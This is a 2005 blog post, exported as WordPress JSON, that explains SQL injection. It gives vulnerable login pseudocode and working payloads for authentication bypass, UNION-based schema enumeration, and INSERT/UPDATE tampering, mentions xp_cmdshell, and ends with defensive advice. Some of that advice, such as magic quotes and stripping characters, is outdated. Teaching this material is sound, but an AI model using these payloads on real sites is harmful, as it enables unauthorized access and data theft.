{"id":41,"date":"2005-11-13T12:00:00","date_gmt":"2005-11-13T12:00:00","guid":{"rendered":""},"modified":"2005-11-13T12:00:00","modified_gmt":"2005-11-13T12:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/www.inbreak.net\/archives\/41.html","title":{"rendered":"Understanding SQL Injection"},"content":{"rendered":"

Understanding SQL Injection
\nSQL injection is a technique used by a malicious user to gain illegal access on the remote machines through the web applications vulnerability. The basic idea behind this technique is to run the sql query which was not intended to run by a programmer. This technique is heavily relay on the logical operations like AND, OR.UNION etc. if this technique is used properly a malicious user can get complete access on a web server. If the application is creating SQL strings naively on the fly (dynamic queries) and then running them, it can create some real surprises as we see later on.
\nHow it is performed
\nThis vulnerability occurs due to lack of proper validation of user entered data in web applications. It may be possible that the programmer is a newcomer and has lack of understanding of such kind of attacks. But in many cases I have seen most of the time programmers are too lazy to consider and apply proper security checks. Most of the programmer believes that client or end user will always give correct input to the application. They even check for some minor validations like empty string or null values etc but they never think of the fact that a user can insert a specially crafted query which reveals all the important information of your machines. With the outsourcing boom many companies started and they have less experienced programmer so such kind of attacks heavily exists in today\u2019s web applications. If we take a simple example of a login page, then generally programmer\u2019s uses this pseudo code (assume that the database server is MS-Sql server):-<\/p>\n

query="select * from userinfo where username=’"&strUser&"’ and password=’"&strPass&"’"
\nstrCheck=GetQueryResult(query)
\nif strCheck="" then
\nbool loginflg=False
\nelse
\nbool loginflg=true
\nend if<\/p>\n

This query works fine without any problems if user enters correct characters. But suppose a malicious user enter following:-<\/p>\n

username=test
\npassword=’ or 1=1\u2015<\/p>\n

Now the above query will become:-<\/p>\n

query="select * from userinfo where username=’test’ and password=” or 1=1–‘" <\/p>\n

— Symbol denotes the comment in sql server. Hence in the MS-Sql server everything after the — is ignored.<\/p>\n

So this query is actually becomes something like this:-<\/p>\n

select * from userinfo where username=’test’ and password=” or 1=1 <\/p>\n

We can break this query in two portions like bellow:-<\/p>\n

p=>username=’test’ and password=”
\nq=>1=1<\/p>\n

So we can write it as pVq<\/p>\n

Now from the Boolean algebra we know that in V(OR) operation the result will be true if any of the value is true. As here the value of q is always true as 1 is always equal to 1, hence the value of this entire expression(pVq) is always returned as TRUE.
\nSo the query becomes (I replaced with p, q for ease of reading)<\/p>\n

query="select * from userinfo where pVq" <\/p>\n

Now as discussed above the pVq is always true hence the query will select all the records in the current table. But generally programmer takes one record for login hence the username becomes the username of the first record.<\/p>\n

Consider following table:-
\nNo. username password
\n1 test test
\n2 temp temp<\/p>\n

In this table if above query is executed then username becomes test. Hence on executing the above malformed query a malicious user can bypass authentication mechanism of the web application.<\/p>\n

But this is only one thing among several endless options which an intruder can use. By using specially crafted query a user can retrieve the entire database schema of your application or he can upload\/download any file or he can get any other info such as credit card numbers stored in the database, can delete the user, add new user etc.<\/p>\n

Different types of attacks<\/p>\n

1) SELECT-UNION
\nUnion operation permits combining two results. So by using this option a user can retrieve any sensitive information from the database. In case of the above query we mentioned suppose a user enters following in the userid and password field:-<\/p>\n

username=test
\npassword=’ or 1=1 union select top 1 TABLE_NAME from INFORMATION_SCHEMA.TABLES–<\/p>\n

On execution of this query the database engine will give an error something like this:-<\/p>\n

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘userinfo’ to a column of data type int. \/testpage.aspx, line 25<\/p>\n

Now from the above mentioned error it is clear that the table name is userinfo.
\nAfter determining the table name user need to find the column name in the table. So he can enter following values:-<\/p>\n

username=test
\npassword=’ or 1=1 union select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’userinfo’–<\/p>\n

Output<\/p>\n

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ <\/p>\n

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
\nvalue ‘login_id’ to a column of data type int. <\/p>\n

\/testpage.aspx, line 25<\/p>\n

The above error message shows that the first field or column in userinfo is login_id. To get the next column name will type<\/p>\n

username=test
\npassword=’ or 1=1 union select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’userinfo’ where COLUMN_NAME not in(‘login_id’)– <\/p>\n

Output:<\/p>\n

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
\n[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
\nvalue ‘login_name’ to a column of data type int.
\n\/testpage.aspx, line 25<\/p>\n

So by using this a user can gain the information about the tables,username,passwords etc.<\/p>\n

2)SELECT-INSERT
\nWith the insert keyword a user can easily add new records in the database. Given that we know the partial structure of the members table, we can try adding a new record to the table: if this works, we’ll simply be able to login directly with our newly-inserted credentials. Look at the following query:-<\/p>\n

SELECT email, passwd, login_id, full_name
\nFROM members
\nWHERE email = ‘test@test.com’;
\nINSERT INTO members (’email’,’passwd’,’login_id’,’full_name’)
\nVALUES (‘test@test.com’,’hello’,’test’,’test’);–‘; <\/p>\n

based on the implementation and database permissions this query may work and one can login by using his user name "test" and password "test\u201d. This might failed as suppose there is a different table which contains access right to the user and other stuff or may be the web application user doesn\u2019t have insert permission on user table.<\/p>\n

3) Select Update
\nAs discussed above some times the select insert may fail depending on various conditions. In that case using the forgot password button seems a nice way to getting in to the system.<\/p>\n

SELECT email, passwd, login_id, full_name
\nFROM members
\nWHERE email = ‘test@test.com’;
\nUPDATE members
\nSET email = ‘malicious_user_mail@mail.com’
\nWHERE email = ‘test@test.com’;<\/p>\n

This are the genral techniques used. but based on the combination of the various sql keywords say "LIKE" ,"CREATE" ,"DROP" ,"WHERE" etc one can perform various different kind of attacks.<\/p>\n

Built In Stored Procedure :Another technique in case of sqlserver is of using sql server\u2019s stored procedure. A default installation of sql server contains many stored procedure which a malicious user can easily misuse. Some of them are:-<\/p>\n

xp_cmdshell
\nMicrosoft’s SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the web server is possible.<\/p>\n

if xp_cmdshell is enabled then a malicious user can run any arbitery command on the web server . Although Access to xp_cmdshell is usually limited to administrative accounts, but it’s possible to grant it to lesser users. not to mention many sql server installation runs with default user sa and blank password.<\/p>\n

How to save web applications from sql injection attacks<\/p>\n

You can see this attacks works on many sites easily. There are many programmers who never validate the data properly. If you are a web application developer then u must need to secure your application from such attacks.following are the proposed solutions by which you can avoid such attacks;-<\/p>\n

Data santinization : We need to remove any unwanted characters say ‘ , " , ; , or — from the user input. Allowing this character may allow sql injection attacks on your website. But some times you need to allow certain special character say ‘ like name can be O’Reilly.
\nLimit database permissions : We also need to make sure that we give only necessary permission to the user. Allowing unrestricted access to the user may cause trouble as we discussed above a malicious user can use built in stored procedure to perform the attacks.
\nUse stored procedure : If possible, use properly formatted stored procedure instead of using dynamic queries in your web applications. It will reduce the chance of such attacks.
\nUse quote function : We can use built in functions like magic_quote in case of PHP to properly format the user input. This will prevent such attacks. <\/p>\n

hardik’s blog
\nhttp:\/\/www.secguru.com\/hardik<\/p>\n","protected":false},"excerpt":{"rendered":"

Understanding SQL Injection SQL injectio …<\/p>\n

\u7ee7\u7eed\u9605\u8bfb »<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"views":4064,"_links":{"self":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/41"}],"collection":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/comments?post=41"}],"version-history":[{"count":0,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/41\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/media?parent=41"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/categories?post=41"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/tags?post=41"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}